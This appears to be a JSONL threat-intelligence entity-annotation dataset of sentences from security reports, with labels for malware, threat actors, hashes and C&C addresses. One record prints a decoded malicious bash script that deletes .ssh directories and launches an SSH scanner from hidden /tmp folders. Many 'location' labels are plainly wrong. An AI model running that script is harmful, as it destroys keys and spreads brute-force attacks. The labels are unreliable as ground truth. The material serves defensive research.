{"id":2699,"text":" In August 2021, a Russian blogger published a 22-minute interview with an alleged representative of the group behind LockBit 2.0 called \u201cLockBitSupp\u201d on a YouTube channel called \u201cRussian-language open source intelligence (OSINT).\u201d","entities":[{"id":47935,"label":"location","start_offset":18,"end_offset":26},{"id":47934,"label":"TIME","start_offset":4,"end_offset":15},{"id":47936,"label":"threat-actor","start_offset":118,"end_offset":129},{"id":47937,"label":"SOFTWARE","start_offset":156,"end_offset":163}],"relations":[],"Comments":[]}
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{"id":3733,"text":"The CISA Alert also calls out CVE-2022-22972 and CVE-2022-22973 \u2013 published on the same day and affecting the same products \u2013 as being highly likely to be exploited.","entities":[{"id":49540,"label":"identity","start_offset":4,"end_offset":8},{"id":49542,"label":"vulnerability","start_offset":49,"end_offset":63},{"id":49541,"label":"vulnerability","start_offset":30,"end_offset":44}],"relations":[],"Comments":[]}
{"id":3400,"text":"BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0  Silverlight.exe","entities":[{"id":10263,"label":"malware","start_offset":0,"end_offset":11},{"id":10264,"label":"SHA2","start_offset":46,"end_offset":110},{"id":49064,"label":"malware","start_offset":20,"end_offset":44},{"id":49065,"label":"FILEPATH","start_offset":112,"end_offset":127}],"relations":[{"id":636,"from_id":10263,"to_id":49064,"type":"duplicate-of"},{"id":637,"from_id":49065,"to_id":10264,"type":"duplicate-of"},{"id":638,"from_id":10264,"to_id":49064,"type":"indicates"},{"id":639,"from_id":49065,"to_id":49064,"type":"indicates"}],"Comments":[]}
{"id":8432,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":25986,"label":"location","start_offset":37,"end_offset":45},{"id":25987,"label":"attack-pattern","start_offset":79,"end_offset":87},{"id":25988,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
{"id":941,"text":"These apps are not hosted inside the Google Play store, but are distributed via third party distribution mechanisms in China.","entities":[{"id":46453,"label":"SOFTWARE","start_offset":37,"end_offset":54},{"id":46454,"label":"location","start_offset":119,"end_offset":124}],"relations":[],"Comments":[]}
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{"id":10265,"text":"The different versions of gdrive.exe are almost identical, with a minor addition to the file 2060f1e108f5feb5790320c38931e3dc6c7224edf925bf6f1840351578bbf9cc of base64 encoding on the victim\u2019s id.","entities":[{"id":31369,"label":"location","start_offset":37,"end_offset":40},{"id":31370,"label":"location","start_offset":66,"end_offset":71},{"id":31371,"label":"SHA2","start_offset":93,"end_offset":157}],"relations":[],"Comments":[]}
{"id":8967,"text":"Unverified developer warning with the \u201cOpen\u201d button enabled","entities":[],"relations":[],"Comments":[]}
{"id":3885,"text":"The guidance provides steps to prepare for, mitigate against, and respond to attacks.","entities":[],"relations":[],"Comments":[]}
{"id":1282,"text":"Figure 7 shows the relationship between these backdoors and their respective command and control servers.","entities":[],"relations":[],"Comments":[]}
{"id":464,"text":"To get that list of domains that the malware will use, defenders have to decode the algorithm which can be difficult.","entities":[],"relations":[],"Comments":[]}
{"id":4148,"text":"     Figure 12.","entities":[],"relations":[],"Comments":[]}
{"id":6332,"text":"It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.","entities":[],"relations":[],"Comments":[]}
{"id":440,"text":"That site\u2019s owner is the attacker.","entities":[],"relations":[],"Comments":[]}
{"id":8514,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[{"id":26294,"label":"location","start_offset":52,"end_offset":56},{"id":26295,"label":"attack-pattern","start_offset":66,"end_offset":74},{"id":26296,"label":"location","start_offset":75,"end_offset":79},{"id":26299,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
{"id":1153,"text":" The second mutex appears to be a concerted effort to make the mutex seem \u201cmore random\u201d than the first.","entities":[],"relations":[],"Comments":[]}
{"id":3349,"text":"The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group.","entities":[{"id":48962,"label":"threat-actor","start_offset":102,"end_offset":114}],"relations":[],"Comments":[]}
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{"id":11267,"text":"Gather information on an endpoint Gathers information from the endpoint such as the current logged on user, operating system details, IP address, hostname, mac address","entities":[],"relations":[],"Comments":[]}
{"id":3719,"text":"In both Carbanak and FIN7 attacks, communication with users\u2019 compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group\u2019s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic.","entities":[{"id":49518,"label":"threat-actor","start_offset":8,"end_offset":16},{"id":49519,"label":"threat-actor","start_offset":21,"end_offset":25},{"id":49520,"label":"attack-pattern","start_offset":97,"end_offset":116},{"id":49521,"label":"attack-pattern","start_offset":171,"end_offset":195},{"id":49522,"label":"attack-pattern","start_offset":352,"end_offset":393}],"relations":[{"id":817,"from_id":49518,"to_id":49519,"type":"related-to"},{"id":818,"from_id":49519,"to_id":49520,"type":"uses"},{"id":819,"from_id":49519,"to_id":49521,"type":"uses"},{"id":820,"from_id":49519,"to_id":49522,"type":"uses"}],"Comments":[]}
{"id":2492,"text":"Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.","entities":[{"id":7440,"label":"identity","start_offset":0,"end_offset":7},{"id":47576,"label":"SOFTWARE","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
{"id":1708,"text":" Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza\/Dyre.","entities":[{"id":46883,"label":"malware","start_offset":61,"end_offset":75},{"id":46884,"label":"malware","start_offset":80,"end_offset":86},{"id":46885,"label":"malware","start_offset":87,"end_offset":91}],"relations":[{"id":247,"from_id":46884,"to_id":46885,"type":"duplicate-of"}],"Comments":[]}
{"id":5668,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":17458,"label":"location","start_offset":73,"end_offset":83},{"id":17459,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
{"id":1650,"text":"While many users breeze past the list of permissions required when installing new apps, readers of this blog should ask themselves, \u201cDoes my electronic bible need to read my SMS messages?\u201d  Sign up to receive the latest news, cyber threat intelligence and research from us  ","entities":[],"relations":[],"Comments":[]}
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{"id":10000,"text":"It is a variant of PlugX malware, and connects to the same C&C server (66[.]42[.]37[.]101).  Figure 8.","entities":[{"id":30524,"label":"malware","start_offset":19,"end_offset":24},{"id":30525,"label":"location","start_offset":34,"end_offset":37},{"id":30526,"label":"location","start_offset":54,"end_offset":58},{"id":30527,"label":"IPV4","start_offset":71,"end_offset":89}],"relations":[],"Comments":[]}
{"id":11266,"text":"Delete email message Permanently deletes the specified email message from the user\u2019s mailbox","entities":[],"relations":[],"Comments":[]}
{"id":425,"text":"Because of this, people can earn digital currency credit in exchange for the use of their computing resources to power that digital currency\u2019s infrastructure.","entities":[],"relations":[],"Comments":[]}
{"id":528,"text":"32-bit EXE is the most common ransomware file type we observed.","entities":[],"relations":[],"Comments":[]}
{"id":980,"text":"Some of the infected apps purport to contain or display adult content.","entities":[],"relations":[],"Comments":[]}
{"id":2253,"text":"The results of these commands are uploaded to the C2 server.","entities":[],"relations":[],"Comments":[]}
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{"id":6968,"text":"     Figure 13.","entities":[],"relations":[],"Comments":[]}
{"id":7362,"text":"Decoding the scanner revealed the following codes:  #!\/bin\/bash cd \/tmp rm -rf .ssh rm -rf .mountfs rm -rf .X13-unix rm -rf .X17-unix rm -rf .X19-unix mkdir .X19-unix cd .X19-unix mv \/var\/tmp\/dota3.tar.gz dota3.tar.gz tar xf dota3.tar.gz sleep 3s && cd \/tmp\/.X19-unix\/.rsync\/c nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 \/tmp\/up.txt 192.168 >> \/dev\/null 2>1& sleep 8m && nohup \/tmp\/.X19-unix\/.rsync\/c\/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0","entities":[],"relations":[],"Comments":[]}
{"id":11147,"text":"We terminated 4 YouTube channels as part of our actions against a coordinated influence operation.","entities":[],"relations":[],"Comments":[]}
{"id":8331,"text":"A new folder named \"Download\" is created adjacent to the main binary.","entities":[],"relations":[],"Comments":[]}
{"id":2803,"text":"On Friday May 12, 2017, Microsoft took the extraordinary step of releasing patches for out-of-support versions of Windows to help protect against these attacks.","entities":[{"id":48019,"label":"TIME","start_offset":10,"end_offset":22},{"id":48020,"label":"identity","start_offset":24,"end_offset":33},{"id":48021,"label":"SOFTWARE","start_offset":114,"end_offset":121}],"relations":[],"Comments":[]}
{"id":7570,"text":"The payload can vary in each campaign, but it typically uses the FlawedAmmyy downloader, ServHelper, or RMS RAT launcher.","entities":[{"id":23611,"label":"location","start_offset":12,"end_offset":15},{"id":23612,"label":"location","start_offset":29,"end_offset":37},{"id":23613,"label":"malware","start_offset":65,"end_offset":76}],"relations":[],"Comments":[]}
{"id":3508,"text":"The following is a list of Protux\u2019s notable components and their functions:  FileManage - Lists all of the system\u2019s drives and folders.","entities":[{"id":49301,"label":"malware","start_offset":27,"end_offset":33}],"relations":[],"Comments":[]}
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{"id":13621,"text":"This utility has a feature called \u201cImport Adder,\u201d while \u201c.newimp\u201d is the default name of a newly added section containing newly added imports.","entities":[],"relations":[],"Comments":[]}
{"id":12388,"text":"We terminated 8 YouTube channels as part of our actions against a coordinated influence operation linked to Yemen.","entities":[],"relations":[],"Comments":[]}
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{"id":5076,"text":"The earliest evidence we have of this exploit kit being actively deployed is January 4, 2022.","entities":[{"id":51186,"label":"TIME","start_offset":77,"end_offset":92}],"relations":[],"Comments":[]}
{"id":9881,"text":"The group puts up multiple layers of obfuscation to run these C&C servers in extremely targeted malware campaigns against organizations in the Middle East, the U.S., and Asia.","entities":[{"id":30117,"label":"attack-pattern","start_offset":87,"end_offset":103},{"id":30120,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
{"id":4587,"text":" The vulnerability has been dubbed as ProxyLogon by the researchers at DEVCORE, who are credited with finding the bugs in the proxy architecture and the logon mechanism of Exchange.","entities":[{"id":50446,"label":"SOFTWARE","start_offset":172,"end_offset":180},{"id":50444,"label":"vulnerability","start_offset":38,"end_offset":48},{"id":50445,"label":"identity","start_offset":71,"end_offset":78}],"relations":[{"id":974,"from_id":50446,"to_id":50444,"type":"has"}],"Comments":[]}
{"id":5010,"text":"Google\u2019s Threat Analysis Group (TAG) has been closely monitoring the cybersecurity activity in Eastern Europe with regard to the war in Ukraine.","entities":[{"id":51063,"label":"identity","start_offset":0,"end_offset":36},{"id":51064,"label":"location","start_offset":95,"end_offset":109},{"id":51065,"label":"location","start_offset":136,"end_offset":143}],"relations":[],"Comments":[]}
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{"id":4186,"text":"Exploit public-facing application Execution T1059.001","entities":[{"id":49987,"label":"attack-pattern","start_offset":0,"end_offset":53}],"relations":[],"Comments":[]}
{"id":6667,"text":"VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack.","entities":[{"id":20693,"label":"location","start_offset":14,"end_offset":17},{"id":20694,"label":"location","start_offset":26,"end_offset":36},{"id":20696,"label":"location","start_offset":105,"end_offset":109},{"id":20697,"label":"malware","start_offset":155,"end_offset":160}],"relations":[],"Comments":[]}
{"id":3987,"text":"The guideline thoroughly explains the three most common methods threat groups use to infiltrate the supply chain.","entities":[],"relations":[],"Comments":[]}
{"id":9422,"text":"In this stage, a blob of payload data is decrypted using a hard-coded key (2726c6aea9970bb95211304705b5f595) and what appears to be an RC4 (Rivest Cipher 4) algorithm.","entities":[{"id":29001,"label":"location","start_offset":59,"end_offset":63},{"id":29002,"label":"MD5","start_offset":75,"end_offset":107},{"id":29003,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
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{"id":8809,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]}
{"id":7049,"text":"The launcher decrypts the data.res file with a different hardcoded DES key.","entities":[],"relations":[],"Comments":[]}
{"id":353,"text":"CHS\u2019s 8-K filing on Monday did not reveal how the attackers got into their network, only that the records of approximately 4.5 million patients were stolen in attacks in between April and June of 2014.","entities":[{"id":46048,"label":"identity","start_offset":0,"end_offset":3},{"id":46049,"label":"TIME","start_offset":20,"end_offset":26},{"id":46050,"label":"TIME","start_offset":178,"end_offset":184},{"id":46051,"label":"TIME","start_offset":188,"end_offset":200}],"relations":[],"Comments":[]}
{"id":9115,"text":"Lurk\u2019s transition from simple web-browser-exploiting crooks to organized cybercriminals also stood out.","entities":[{"id":28147,"label":"malware","start_offset":0,"end_offset":4},{"id":28148,"label":"location","start_offset":53,"end_offset":59}],"relations":[],"Comments":[]}
{"id":14008,"text":"The following sections describe the different correlations and are divided into two main categories:  Correlation related to the malware author developing environment Correlation associated with TTPs  Note that some leads are stronger than others; however, when combined, they suggest that the same threat actor behind malware previously attributed to APT37 is likely responsible for Operation Earth Kitsune.","entities":[{"id":47183,"label":"campaign","start_offset":384,"end_offset":407},{"id":43419,"label":"threat-actor","start_offset":352,"end_offset":357}],"relations":[],"Comments":[]}
{"id":106,"text":"Similarly, DarkSide operators used Mega client for exfiltrating files to cloud storage, 7-Zip for archiving, and PuTTY application for network file transfers.","entities":[{"id":45834,"label":"threat-actor","start_offset":11,"end_offset":29},{"id":45835,"label":"tools","start_offset":35,"end_offset":46},{"id":45836,"label":"tools","start_offset":88,"end_offset":93},{"id":45837,"label":"tools","start_offset":113,"end_offset":118}],"relations":[{"id":120,"from_id":45834,"to_id":45835,"type":"uses"},{"id":121,"from_id":45834,"to_id":45836,"type":"uses"},{"id":122,"from_id":45834,"to_id":45837,"type":"uses"}],"Comments":[]}
{"id":13582,"text":"The attack we found only works on Series 2 of EC-CUBE; the current version is Series 4, with Series 2 now under extended support.","entities":[{"id":51667,"label":"tools","start_offset":34,"end_offset":53},{"id":51668,"label":"tools","start_offset":78,"end_offset":86}],"relations":[],"Comments":[]}
{"id":1393,"text":"Read more on the XSOAR marketplace.","entities":[],"relations":[],"Comments":[]}
{"id":4719,"text":"In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.","entities":[{"id":50617,"label":"TIME","start_offset":3,"end_offset":16},{"id":50618,"label":"threat-actor","start_offset":70,"end_offset":79},{"id":50619,"label":"SOFTWARE","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]}
{"id":2768,"text":"They can be used to:  These are all likely outcomes from mass scanning of the Internet for vulnerable hosts, which are already underway.","entities":[],"relations":[],"Comments":[]}
{"id":5257,"text":"Timestamps indicate that the earliest sample was signed on June 2015; the latest variant was signed on May 2017.","entities":[{"id":51296,"label":"TIME","start_offset":59,"end_offset":68},{"id":51297,"label":"TIME","start_offset":103,"end_offset":111}],"relations":[],"Comments":[]}
{"id":1731,"text":"Attackers can gain access to your personal and financial information.","entities":[],"relations":[],"Comments":[]}
{"id":1675,"text":"The user needs to know the IP of the infected client, the port used by malware and the encryption password to properly decode the traffic.","entities":[],"relations":[],"Comments":[]}
{"id":9960,"text":"They carried this out by first stealing the company\u2019s certificate then using it to sign the malware.","entities":[],"relations":[],"Comments":[]}
{"id":4736,"text":"The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.","entities":[{"id":50648,"label":"identity","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
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{"id":4198,"text":"OS Credential Dumping: Credentials in Registry Lateral Movement T1021.002","entities":[{"id":50004,"label":"attack-pattern","start_offset":0,"end_offset":73}],"relations":[],"Comments":[]}
{"id":10656,"text":"Vulnerabilities of Apache HTTP Server have increased since 2017 Open-source web servers, especially Apache HTTP Server, have been heavily exploited in the past five years.","entities":[{"id":32529,"label":"attack-pattern","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
{"id":6952,"text":"     Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":6115,"text":"The PlugX sample in Table 3 also uses the legitimate PixelPlus Co., Ltd certificate and was also targeted against the university.","entities":[{"id":18910,"label":"tools","start_offset":4,"end_offset":9},{"id":18911,"label":"location","start_offset":10,"end_offset":16},{"id":18914,"label":"location","start_offset":84,"end_offset":87},{"id":18915,"label":"location","start_offset":118,"end_offset":128}],"relations":[],"Comments":[]}
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{"id":14243,"text":"We mapped Winnti\u2019s activities for this campaign by analyzing the dates exposed in GitHub.","entities":[{"id":48437,"label":"identity","start_offset":10,"end_offset":16},{"id":48438,"label":"SOFTWARE","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]}
{"id":14308,"text":"Setup.exe is the core module used to steal data.","entities":[{"id":48529,"label":"FILEPATH","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":7166,"text":"This research is done in cooperation with IssueMakersLab of South Korea.","entities":[],"relations":[],"Comments":[]}
{"id":2103,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  A recent vulnerability in the Kerberos authentication protocol, CVE-2020-17049 (dubbed Bronze Bit), has been disclosed by Microsoft.","entities":[{"id":45392,"label":"identity","start_offset":175,"end_offset":184},{"id":45390,"label":"vulnerability","start_offset":117,"end_offset":131},{"id":45393,"label":"SOFTWARE","start_offset":83,"end_offset":91},{"id":45391,"label":"vulnerability","start_offset":140,"end_offset":150}],"relations":[{"id":95,"from_id":45391,"to_id":45390,"type":"duplicate-of"}],"Comments":[]}
{"id":1839,"text":"Searching for processes     We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.","entities":[{"id":45144,"label":"FILEPATH","start_offset":42,"end_offset":54}],"relations":[],"Comments":[]}
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{"id":2499,"text":" Palo Alto Networks Cortex XSOAR customers can leverage the \"Spring Core and Cloud Function SpEL RCEs\" pack to automatically detect and mitigate the vulnerabilities.","entities":[{"id":47597,"label":"vulnerability","start_offset":61,"end_offset":101},{"id":47596,"label":"SOFTWARE","start_offset":1,"end_offset":32}],"relations":[],"Comments":[]}
{"id":5445,"text":"But, mobile banking use is picking up around the globe.","entities":[],"relations":[],"Comments":[]}
{"id":7026,"text":"SysUpdate was first described by the NCC Group in 2018.","entities":[{"id":22036,"label":"malware","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
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{"id":6345,"text":"Figure 9 is a screenshot of the default Windows File Explorer; \u201cshow hidden files\u201d is not checked.","entities":[],"relations":[],"Comments":[]}
{"id":9384,"text":"We also conclude that this is the initial phase of an attack based on the following reasons:  CallerSpy, as it is now, could prove uneven for a targeted attack.","entities":[],"relations":[],"Comments":[]}
{"id":1358,"text":"Later that day, a public PoC surfaced, allowing organizations to better understand this vulnerability and how it is exploited.","entities":[{"id":4075,"label":"TIME","start_offset":0,"end_offset":14}],"relations":[],"Comments":[]}
{"id":2464,"text":"However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts.","entities":[],"relations":[],"Comments":[]}
{"id":4559,"text":"In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.","entities":[{"id":50373,"label":"SOFTWARE","start_offset":18,"end_offset":25},{"id":50375,"label":"malware","start_offset":52,"end_offset":68},{"id":50376,"label":"DOMAIN","start_offset":107,"end_offset":118},{"id":50374,"label":"malware","start_offset":39,"end_offset":50}],"relations":[],"Comments":[]}
{"id":7709,"text":" The newer version shows that the developers behind ServHelper continued to upgrade it to evade detection and add more functions, possibly for even more iterations in the future.","entities":[{"id":23958,"label":"malware","start_offset":52,"end_offset":62},{"id":23959,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
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{"id":13280,"text":"Snapshot of code we used to decrypt TClient\u2019s configuration Figure 11.","entities":[{"id":41375,"label":"malware","start_offset":36,"end_offset":43}],"relations":[],"Comments":[]}
{"id":11796,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":36377,"label":"location","start_offset":45,"end_offset":48},{"id":36378,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
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{"id":1151,"text":"And \u201cjh\u201d is always followed by a key from the left side of the keyboard.","entities":[],"relations":[],"Comments":[]}
{"id":2210,"text":"This leads us to the next stage of our malware  This particular stage of malware acts as a downloader.","entities":[],"relations":[],"Comments":[]}
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{"id":9782,"text":"It is important that employers and employees across all organizations and enterprises be able to identify phishing attacks and distinguish legitimate emails from malicious ones.","entities":[{"id":29795,"label":"location","start_offset":31,"end_offset":34},{"id":29796,"label":"location","start_offset":70,"end_offset":73},{"id":29797,"label":"attack-pattern","start_offset":106,"end_offset":114},{"id":29798,"label":"location","start_offset":123,"end_offset":126}],"relations":[],"Comments":[]}
{"id":9472,"text":"This is the main client binary written in C++, which is the last stage of PuppetLoader\u2019s infection chain.","entities":[{"id":29101,"label":"malware","start_offset":74,"end_offset":86}],"relations":[],"Comments":[]}
{"id":1020,"text":" Other sellers were also able to offer customizable email accounts from a specific domain\/institution.","entities":[],"relations":[],"Comments":[]}
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{"id":1526,"text":" Similar to any other malware family or threat, Palo Alto Networks customers should use the entire security framework for threat mitigation and threat prevention coverage.  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46788,"label":"identity","start_offset":48,"end_offset":66}],"relations":[],"Comments":[]}
{"id":13556,"text":"This campaign appears to be financially motivated.","entities":[],"relations":[],"Comments":[]}
{"id":4094,"text":"All data will then be encrypted and sent back.      Figure 8.","entities":[],"relations":[],"Comments":[]}
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{"id":2407,"text":"Affected Software and Versions Background on the Spring Framework Root Cause Analysis for CVE-2022-22965","entities":[{"id":47486,"label":"vulnerability","start_offset":90,"end_offset":104},{"id":47485,"label":"SOFTWARE","start_offset":49,"end_offset":65}],"relations":[{"id":335,"from_id":47485,"to_id":47486,"type":"has"}],"Comments":[]}
{"id":8257,"text":"Once the multiple layers of script obfuscation are removed, the final payload arrives\u2014a version of the njRAT Trojan; this family has been a known threat since 2015.","entities":[{"id":25496,"label":"location","start_offset":47,"end_offset":50},{"id":25497,"label":"malware","start_offset":103,"end_offset":108}],"relations":[],"Comments":[]}
{"id":13902,"text":"It is the last step before the ransomware is dropped, and the attack often speeds up at this point to complete the process before it is stopped.","entities":[],"relations":[],"Comments":[]}
{"id":3208,"text":"     Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":6051,"text":"We did not recover any responses from those URLs.","entities":[],"relations":[],"Comments":[]}
{"id":1679,"text":"We hope this tool will be valuable to incident responders and others who are plagued by NetWire infections.","entities":[{"id":4985,"label":"malware","start_offset":88,"end_offset":95}],"relations":[],"Comments":[]}
{"id":8583,"text":"We warn users when we suspect a government-backed threat like APT35 is targeting them.","entities":[{"id":26532,"label":"threat-actor","start_offset":62,"end_offset":67},{"id":26533,"label":"location","start_offset":81,"end_offset":85}],"relations":[],"Comments":[]}
{"id":14089,"text":"Note the following similarities:  The usage of paths C:\\Users and D:\\ are similar The searching patterns are very similar The extension list is very similar  ","entities":[{"id":48171,"label":"FILEPATH","start_offset":66,"end_offset":69},{"id":48170,"label":"FILEPATH","start_offset":53,"end_offset":61}],"relations":[],"Comments":[]}
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{"id":10381,"text":"The user would need to enable macro for it to open fully, which would use AutoHotkey in loading the malicious script file to avoid detection.","entities":[],"relations":[],"Comments":[]}
{"id":2978,"text":"You may consider configuring it to not broadcast the SSID as well: that can make adding devices a little harder, but that means it\u2019s even harder for people to try and join your home network.  3. Set up More Secure Accounts on Your PCs and Macs: PCs and Macs (both desktop and laptop) are still around and as important as ever in the home.","entities":[],"relations":[],"Comments":[]}
{"id":2417,"text":"For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.","entities":[],"relations":[],"Comments":[]}
{"id":8234,"text":"As such, here are some tips on how to stay safe from these online schemes:  Carefully scrutinize all emails.","entities":[{"id":25443,"label":"location","start_offset":14,"end_offset":17},{"id":25444,"label":"threat-actor","start_offset":43,"end_offset":47}],"relations":[],"Comments":[]}
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{"id":470,"text":" DGA by itself can\u2019t harm you.","entities":[],"relations":[],"Comments":[]}
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{"id":2376,"text":"StealthVector is designed with various configurable features that make it easy for malicious actors to modify and tailor it to their needs, including a feature that disables Event Tracing for Windows (ETW), allowing the malware to run in stealth mode.","entities":[{"id":45481,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
{"id":5476,"text":"Figure 1: Tweety Chat\u2019s interface (top), and code snippets showing the file types it steals (bottom) Romance in cyberespionage","entities":[{"id":51468,"label":"SOFTWARE","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
{"id":6557,"text":" hack520[.]co[.]kr shaiya[.]kr zhu[.]kr shenqi[.]kr zhuxian[.]kr  Several of these domains are linked to variants of malware that were used by the Winnti threat actor.","entities":[{"id":20316,"label":"location","start_offset":91,"end_offset":94},{"id":20317,"label":"malware","start_offset":147,"end_offset":153}],"relations":[],"Comments":[]}
{"id":3884,"text":"Last June 9, 2021, the Cybersecurity and Infrastructure Security Agency (CISA) released the Rising Ransomware Threat to OT Assets, which addresses the recent rise in ransomware attacks targeting operational assets (OT) and control systems.","entities":[{"id":49744,"label":"TIME","start_offset":5,"end_offset":17},{"id":49745,"label":"identity","start_offset":23,"end_offset":78}],"relations":[],"Comments":[]}
{"id":14419,"text":"Including detection of this as part of an overall XDR platform will improve the prevention, detection, and remediation of sophisticated attacks on an organization.","entities":[{"id":47173,"label":"SOFTWARE","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
{"id":3930,"text":"To deploy its tools, it uses the expand command to extract package files dropped in the system.","entities":[],"relations":[],"Comments":[]}
{"id":770,"text":"If we were able to make the size of the current heap block in this structure larger than the threshold of 0x186A0 bytes and trigger CMemoryProtector::ProtectedFree, it is still possible to force a true freeing action and occupy the freed object with other data as we show in the following piece of javascript code in figure 6.    Figure 6. Javascript proof of concept to force freeing  When creating the anchor element, the debug logs are shown in figure 7.","entities":[{"id":46347,"label":"SOFTWARE","start_offset":340,"end_offset":350}],"relations":[],"Comments":[]}
{"id":5810,"text":"And you just have computers fighting it out.","entities":[{"id":17969,"label":"location","start_offset":0,"end_offset":3},{"id":17970,"label":"identity","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
{"id":6052,"text":"Example Exploit Kit:","entities":[],"relations":[],"Comments":[]}
{"id":2231,"text":"Persistence is achieved by setting the following registry key:  HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run  HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run  The name of the registry key in the above instances is derived from the basename of the supplied argument.","entities":[{"id":6650,"label":"REGISTRYKEY","start_offset":64,"end_offset":114},{"id":6651,"label":"REGISTRYKEY","start_offset":116,"end_offset":166}],"relations":[],"Comments":[]}
{"id":771,"text":"The address of the anchor element is 0x0c3b3f98.","entities":[],"relations":[],"Comments":[]}
{"id":11767,"text":"A few were observed displaying a fake error message requiring user click-through to continue execution.","entities":[],"relations":[],"Comments":[]}
{"id":14293,"text":"When users register, their credit cards will be charged.","entities":[],"relations":[],"Comments":[]}
{"id":1168,"text":"While the research may never result in a fully automated decision system, it has been proven that researchers employing a hybrid approach to analysis will be able to provide critical and timely information to support the continual improvement of the classification system as a whole.","entities":[],"relations":[],"Comments":[]}
{"id":1545,"text":"These attacks begin with an email sent to a carefully chosen target in the agency.","entities":[],"relations":[],"Comments":[]}
{"id":4682,"text":"When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.","entities":[],"relations":[],"Comments":[]}
{"id":4813,"text":"This app is quite different from the Turla apps described above and written by a different developer.","entities":[{"id":50736,"label":"threat-actor","start_offset":37,"end_offset":42}],"relations":[],"Comments":[]}
{"id":7979,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":24726,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":7326,"text":"idtpl[.]org registration information based on Whois Lookup     But from the middle of July 2020, its IP address changed to 185[.]117[.]88[.]91.      Figure 22. Domain History of idtpl[.]org as seen on VirusTotal","entities":[{"id":22803,"label":"IPV4","start_offset":123,"end_offset":142}],"relations":[],"Comments":[]}
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{"id":516,"text":"Figure 2 shows a completely different result from Figure 1 and stems from only counting ransomware samples from cases in which more than five hosts were infected with the same malware.","entities":[],"relations":[],"Comments":[]}
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{"id":4519,"text":"We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users\u2019 hands.","entities":[{"id":50317,"label":"SOFTWARE","start_offset":86,"end_offset":93}],"relations":[],"Comments":[]}
{"id":1616,"text":"If the user would like to unsubscribe they can text \u201cBAJA\u201d to 797977.","entities":[],"relations":[],"Comments":[]}
{"id":9502,"text":"The infection starts with an executable written in C++ that connects through a Winsock API to a domain or IP address in a specific port.","entities":[],"relations":[],"Comments":[]}
{"id":5192,"text":"Network amplification CVE-2021-38445 OpenDDS, ROS 2 7.0 CWE-130: Improper handling of length CVE-2021-38423 Gurum DDS, ROS 2 8.6 CWE-131: Incorrect calculation of buffer size CVE-2021-38435 Connext DDS, ROS 2 8.6 CVE-2021-38439 Gurum DDS, ROS 2 8.6 CWE-122:","entities":[{"id":51240,"label":"vulnerability","start_offset":22,"end_offset":36},{"id":51241,"label":"vulnerability","start_offset":93,"end_offset":107},{"id":51242,"label":"vulnerability","start_offset":175,"end_offset":189},{"id":51243,"label":"vulnerability","start_offset":213,"end_offset":227}],"relations":[],"Comments":[]}
